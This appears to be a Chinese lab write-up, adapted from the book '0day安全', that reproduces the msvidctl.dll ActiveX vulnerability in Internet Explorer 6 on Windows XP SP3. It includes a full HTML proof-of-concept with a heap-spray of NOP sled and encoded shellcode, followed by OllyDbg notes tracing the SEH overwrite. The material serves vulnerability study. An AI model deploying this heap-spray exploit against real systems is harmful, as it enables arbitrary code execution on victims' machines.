----------本文思路完全来自《0day安全:软件漏洞分析技术》第二十八章----------
实验环境
操作系统:Windows XP sp3
实验机器:VMware 15.5
IE 版本:6.0.2900.5512
msvidctl.dll版本:6.5.2600.5512
POC
<html>
<body>
<div id="DivID"></div>
<script>
var nop="u9090u9090";
var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6577u7473u6668u6961u8b6cu53c4u5050uff53ufc57uff53uf857";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for(var i=0;i<200;i++)
{
slide[i] = nop + shellcode;
}
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
</script>
</body>
</html>
logo.gif
ollydbg运行IE,打开POC文件
发生异常,此时SEH链已被覆盖
找到59F0D5A8的函数为59F0D3BA,在此处下断重新运行,单步发现问题在59F0D496
在59F0D496处下断,发现第二次调用时触发异常,跟进去,发现在59F0D4D4处SEH被改变了
继续跟,找到漏洞位置
当执行59F0D74D后,logo.gif被写到了127C88处
当发生异常后转入0c0c0c0c处执行